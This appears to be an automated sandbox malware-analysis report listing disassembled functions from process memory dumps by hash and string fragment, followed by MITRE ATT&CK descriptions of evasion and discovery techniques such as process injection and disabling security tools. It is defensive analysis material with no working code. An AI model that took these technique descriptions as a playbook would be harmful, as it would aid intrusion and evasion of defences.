API String ID:
Opcode ID: 80416f174a6734d6d9aee9ea4fea779160a2c2bf10b8d0fc6fc8917e793c7f7f
Instruction ID: afd4cb1bffb9218b58c35ef4a26dc4a83cbc94036df795f2b8c7c56d81430e33
Opcode Fuzzy Hash: 80416f174a6734d6d9aee9ea4fea779160a2c2bf10b8d0fc6fc8917e793c7f7f
Instruction Fuzzy Hash: 57017130A15244CFC718DF68E5086AD7BB2FB00304B98847ED80ADF281EB76ED01DB96

Function 017BD01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2158750480.00000000017BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 017BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_17bd000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b70643c680f7dfeb96be51159920449562a78b8ff70a549dc0994d58caa86d4
Instruction ID: 9e91d2c1d5c758213bd13bab6b707bb705c15235c580307fc4fcf82017726256
Opcode Fuzzy Hash: 7b70643c680f7dfeb96be51159920449562a78b8ff70a549dc0994d58caa86d4
Instruction Fuzzy Hash: 8AF0C8710043449EE7208A19C8C47A2FFD8EF42674F18C55AED480A286C3795840CAB0

Function 03400B97 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ef53ff3467e032d3b2f4a0ccdd1ef074a9a42133c9e553a09001bbbdffd6ee
Instruction ID: 283c8b6630f35f070ab5af53ed3548cf745b4524032b423680d840c5b9dbdaa2
Opcode Fuzzy Hash: 07ef53ff3467e032d3b2f4a0ccdd1ef074a9a42133c9e553a09001bbbdffd6ee
Instruction Fuzzy Hash: B0014B70A15244DFCB64EF78A5082AEBBB1FF45304B94847ED449DB280E772A906DB92

Function 03400C39 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed609d006cca71b1c0053044c121b78091b4b5cf323147b0abf770d1115d963
Instruction ID: c3aa1d67072f1aaf61acd49099c6bc42f66e17cab548ae65a0f6b7e43b77c1f3
Opcode Fuzzy Hash: 0ed609d006cca71b1c0053044c121b78091b4b5cf323147b0abf770d1115d963
Instruction Fuzzy Hash: 37E0DF74A09208EFC348DFB4DE0174AB7BDEB46200F0001FE840CD7254DA384D058BE2

Function 03400C48 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1016fe2dd8b94e17b45dcce718f4d39aa65871f535802caa61659db23b847e68
Instruction ID: 74ef30d1a03d21a8e858ca0993df36818c2571a6bde79dbe630b34ff892e9508
Opcode Fuzzy Hash: 1016fe2dd8b94e17b45dcce718f4d39aa65871f535802caa61659db23b847e68
Instruction Fuzzy Hash: D8D05E70A4020DEFD744EFA8EE01A5EB7BEEB44200F1041A8C80CC7210EB355E058B92

Function 03400848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 036d03b783c3d10c9f69eb73afd98f7d5133efbb073e780f76e477ce6be1d0f6
Instruction ID: 59f2664acfcb4978a73440dc3d00b632610083a31ad5728e59b4a38ad901ada6
Opcode Fuzzy Hash: 036d03b783c3d10c9f69eb73afd98f7d5133efbb073e780f76e477ce6be1d0f6
Instruction Fuzzy Hash: C3D01770A0520DEF8B00DFA8E94499DB7BAFF44210B1045ADD809E3204EA316F049B91

Function 03400B80 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2159099076.0000000003400000.00000040.00000800.00020000.00000000.sdmp, Offset: 03400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_3400000_Explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb76626c8fe35b1272832e00778c5217c07e9bb6e5413c6f4357bce6d09904e
Instruction ID: 46ba4b8136c80c64c60973c8bb44226d1ec3d0bb5ee905ea231f7230493c2791
Opcode Fuzzy Hash: 3eb76626c8fe35b1272832e00778c5217c07e9bb6e5413c6f4357bce6d09904e
Instruction Fuzzy Hash: 62C08CAC2187800FC7169BB52828240BB34AA52B2E3950CEFC040DE0F3D13A28498B29

Analysis Process: explore.exePID: 7636, Parent PID: 1068COMMON

Executed Functions

Function 01521111 Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

Te]q, xrefs: 01521145
d6p, xrefs: 0152115D
(aq, xrefs: 015213EA

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID: (aq$Te]q$d6p
API String ID: 0-967301506
Opcode ID: 659e220e87ded70a501e6ffba25cb5ef8a02af9d5e724a5ec53cd90fc6f87e03
Instruction ID: 69f26cc1ced269d4831a478543bad58202917ca3759f6b75413e898b15cf7447
Opcode Fuzzy Hash: 659e220e87ded70a501e6ffba25cb5ef8a02af9d5e724a5ec53cd90fc6f87e03
Instruction Fuzzy Hash: 35519E75B106148FC705DF69C498A5EBBF6BF89710F2580A9E406DB3A6CA71DD028B90

Function 01520F78 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

Haq, xrefs: 01521098
dLcq, xrefs: 01520FB3

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID: Haq$dLcq
API String ID: 0-1713614415
Opcode ID: cccc7c973d472bdb214861a7679fa15a85d6106caee4617e1dfed613be0f7dcb
Instruction ID: 93005f24f0a2f5487cbdd9a8f011b70aa100b8786dcde90a6521d9f1b751908d
Opcode Fuzzy Hash: cccc7c973d472bdb214861a7679fa15a85d6106caee4617e1dfed613be0f7dcb
Instruction Fuzzy Hash: 2741D1317042548FCB09DF79D494AAEBBF6FF89200F1445AAE505EB3A2CA75DC05CB90

Function 0152168C Relevance: 1.7, Strings: 1, Instructions: 482COMMON

Download Yara Rule

Strings

LR]q, xrefs: 015219EB

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: a8a2f06a28282e3ff8f09c958e04dfda4e412868b3fd66a48f0fcbc808e50784
Instruction ID: d2b1de3e3cb0853cf563b55955a9c76c41c1b11a2e121c404eba4d63f90d8e11
Opcode Fuzzy Hash: a8a2f06a28282e3ff8f09c958e04dfda4e412868b3fd66a48f0fcbc808e50784
Instruction Fuzzy Hash: 0631D131F012568FCB059B79C49066F7BF6BF8A614B1440AAD149DF3A1EE749C02C7A2

Function 015215CD Relevance: 1.7, Strings: 1, Instructions: 474COMMON

Download Yara Rule

Strings

LR]q, xrefs: 015219EB

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 3600d008f2e3f989bd537968b711e04ebd0fc085c92e651ae59a0fbfced357ac
Instruction ID: f40ff4d47ee5d749d919f61039a570f61fcb8a5dcdcd720ac8e54ad487c8e741
Opcode Fuzzy Hash: 3600d008f2e3f989bd537968b711e04ebd0fc085c92e651ae59a0fbfced357ac
Instruction Fuzzy Hash: 4C315531F096528FC7069B38849453F7FF5BF86214B1804AAD145CF3A2EA319C06C7E2

Function 01520F68 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

dLcq, xrefs: 01520FB3

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID: dLcq
API String ID: 0-2236789282
Opcode ID: adbf59522efcc78f457d88bf5197193ae836eeda7915153aeeb0b2446dd85223
Instruction ID: e04daa66c22d306d1cb271d65c8a300af2f28507b09ef7e31540c8f911fcff92
Opcode Fuzzy Hash: adbf59522efcc78f457d88bf5197193ae836eeda7915153aeeb0b2446dd85223
Instruction Fuzzy Hash: 3431B271A042548FDB05CF68C494BAEBFF6BF4A304F1485A9E401AB3A2CB75DC05CB50

Function 01521097 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

Haq, xrefs: 01521098

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: 2cfa82093fb143c835daa3ef11b9f10c8793b80ba85521df1163566129c19e60
Instruction ID: bc6740004252804bf2c110f306ba9e313b696f15dbb002b1b954cd8dd7be668c
Opcode Fuzzy Hash: 2cfa82093fb143c835daa3ef11b9f10c8793b80ba85521df1163566129c19e60
Instruction Fuzzy Hash: D8F0F4217083901FC74A9B3D685042E7FE7AFC716435A44EAE149DB397CD198C0783A1

Function 01520740 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a047cd4fb0a616454421a357030f25f21d2f9aa599d539e579b19bcccaa23a3a
Instruction ID: a695990fe644ddfb61a409dcbfdcdd77022fdd090aadbeac266a9ef139a6fbb5
Opcode Fuzzy Hash: a047cd4fb0a616454421a357030f25f21d2f9aa599d539e579b19bcccaa23a3a
Instruction Fuzzy Hash: 01F0397191A3C4AFC703EBB4E9144497FB5AE0710471681EBC848DB2A3D6350E09D792

Function 01521428 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b45776f2eb2f63ce75276e7fba212f9c093410cd81b5b3ed82bac66f277b62
Instruction ID: f16791265772ee0a0559c608f1a3c37fcaad29060740eca535ed27b67fb8b9c8
Opcode Fuzzy Hash: 32b45776f2eb2f63ce75276e7fba212f9c093410cd81b5b3ed82bac66f277b62
Instruction Fuzzy Hash: 6D41D271B00619AFCB08DFB9948466EBBFABF89300F24856AC459D7385DA349941CBD1

Function 01520D05 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12e49eaba3fd087ee9b4543c95868054e94729024b92fabf14a6c1c07709aeed
Instruction ID: 81a655b1da32c0b441e116c4aeba57e8c0816441d1a87b9b8ee92f546ed84129
Opcode Fuzzy Hash: 12e49eaba3fd087ee9b4543c95868054e94729024b92fabf14a6c1c07709aeed
Instruction Fuzzy Hash: AC51B332200211CFC729EF25F548959BF6AEF847057108679D805AF369DB7EAD6ACF80

Function 01520A28 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 794103a3d0c2b5b3568ad13d8d286891d2b134cc67c7ccbab893921ad08f5c96
Instruction ID: 1e09351e068b49845b032bf0e5e274fd3662ca88e72e9a4118ee8e388470edcb
Opcode Fuzzy Hash: 794103a3d0c2b5b3568ad13d8d286891d2b134cc67c7ccbab893921ad08f5c96
Instruction Fuzzy Hash: C53184327022629FDB6AAF39A55863E7FE5FF41644B040539E806DF2C2EF748900CB51

Function 01520A38 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5bdf07435fe0daa6b64a9f081255222bb55769062765adabcb3420e8a92924
Instruction ID: 63fe10ad495b70044821e4c2e3336d9fd5b05d0660c40e7bd9f76bd2ee1c35fe
Opcode Fuzzy Hash: df5bdf07435fe0daa6b64a9f081255222bb55769062765adabcb3420e8a92924
Instruction Fuzzy Hash: 043152327012238FDB69AF79A55862E7AA5FF41644B044939E906DF2C1EF788901CB52

Function 01521A91 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7adbf9e80970489a49205d290d0236dec7837c0746ccda61676c63db4a77cb0f
Instruction ID: 43cecc1d087ce5fa1e94655cca1945448c37d858e6cf18ebfa3c9090ce0d0ca6
Opcode Fuzzy Hash: 7adbf9e80970489a49205d290d0236dec7837c0746ccda61676c63db4a77cb0f
Instruction Fuzzy Hash: BC119A71A042519FCB15EFB9944496ABBF6FF8A60471408B9D40ADB352EA3AC852CB81

Function 01521AA0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e491357a15df0442e8e4ece63e94e9b0466385d4b63fc39929c471a2f5f0be8
Instruction ID: b880a0e0a9cda2efaead07386078715a258122638a1eb546409b69e4b8ef0349
Opcode Fuzzy Hash: 4e491357a15df0442e8e4ece63e94e9b0466385d4b63fc39929c471a2f5f0be8
Instruction Fuzzy Hash: BC117571A002159FCB54EFBED444A2B7BEAFF8920071008B9D40ADB395EB38DC52CB91

Function 011FD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2215654821.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_11fd000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcb3e464843ff549f1b8052f112bfab193f5d339558210e726a05781d31d1be8
Instruction ID: 617c861d34cc14c411a06caf473ad70bfdd88ef555767e59799737354d26cd08
Opcode Fuzzy Hash: dcb3e464843ff549f1b8052f112bfab193f5d339558210e726a05781d31d1be8
Instruction Fuzzy Hash: 95012B71004304DAEB288A59DC84B77BF9CEF463A0F18C52EEE480B286C3799801C6B1

Function 011FD006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2215654821.00000000011FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 011FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_11fd000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e24ac6e146b0f544af505659fb3a10667e60fc22496914646b723b9a1872550
Instruction ID: a04858b9a4b0e519c4efef26b1ef3dea57b8105e605f1b37b0d0708036ba4ecb
Opcode Fuzzy Hash: 4e24ac6e146b0f544af505659fb3a10667e60fc22496914646b723b9a1872550
Instruction Fuzzy Hash: 72015E7100E3C09FE7178B259894B62BFB4EF53224F19C1DBD9888F2A7C2695848C772

Function 01520BA8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8179a9b01dd57a830e46210f781bdc8c58c80d2935ad539cbcf66b3dc49732
Instruction ID: 6344ad98a9b6797f319b975a16b6f6f91d36fab56483a106553a737370be899f
Opcode Fuzzy Hash: 2a8179a9b01dd57a830e46210f781bdc8c58c80d2935ad539cbcf66b3dc49732
Instruction Fuzzy Hash: F3014C71911314CFC718EF69E50856DBBB1FB01304B9085B8E80AEF2C1EB799D01DB91

Function 01520B97 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0bc9c82959b5604d800523a4d341209ed79c08a4d2a47c6613644c196975880
Instruction ID: 1431ea3431754e11085fd5ceb5c800f79b30bcb07744ad642a52939c3fe76e0c
Opcode Fuzzy Hash: a0bc9c82959b5604d800523a4d341209ed79c08a4d2a47c6613644c196975880
Instruction Fuzzy Hash: B1018B71D11314DFCB54EFA9E5081ADBBB1FF51304B8085ADE449EB281E7759902CB91

Function 01520C39 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a054f8e7cc0ddf1b75c05252dbedc1f17b45808ddb42bfc79e459708c7f0c9
Instruction ID: bbcb6811d1a2ed3e84159a403afdde6be08684d413a9bf1f638469e2b4563861
Opcode Fuzzy Hash: e2a054f8e7cc0ddf1b75c05252dbedc1f17b45808ddb42bfc79e459708c7f0c9
Instruction Fuzzy Hash: 51E02671A06208AFC706EF70D9002493BBADB45604F0101F98408DB292D6388E098B82

Function 01520C48 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b31bd434c7b6a45c7b74c27c001ebc9e690218a556d220025630700123354b21
Instruction ID: 916ff0e326df6cfdc7de24bb2e6443f06c5d61e4f30373dd5f675011176fd88a
Opcode Fuzzy Hash: b31bd434c7b6a45c7b74c27c001ebc9e690218a556d220025630700123354b21
Instruction Fuzzy Hash: E0D05E71A4020DEFC748EFA5ED01A5EB7BEEB44600F1041B8880CDB350EB395E158B92

Function 01520848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5618eb488a41e7af2b630c1ce2aaf722f8508eb2607457779c5b03091d569fb
Instruction ID: 74c294b4ffcac6b3a0a9c31a56fd34d32574937526cdeb87d413c68161ee556e
Opcode Fuzzy Hash: b5618eb488a41e7af2b630c1ce2aaf722f8508eb2607457779c5b03091d569fb
Instruction Fuzzy Hash: 6DD01771A10208EF8B04EFA8E90495DBBBAEB44204B1082ADD908E7241EA316F149B91

Function 01520B80 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2220785224.0000000001520000.00000040.00000800.00020000.00000000.sdmp, Offset: 01520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_1520000_explore.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73f5bba0994109c9c74a21709685736bdcba640d2f278a4c49bfe22ddfec158a
Instruction ID: 2135e8ebfa76170a716830aade68b917fa667a0eb0d4d872c54206f2719d6115
Opcode Fuzzy Hash: 73f5bba0994109c9c74a21709685736bdcba640d2f278a4c49bfe22ddfec158a
Instruction Fuzzy Hash: 87C08CB142F3D05FCF03833139380403F748D1712930909CAC080CE0F3C059084ACB26

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

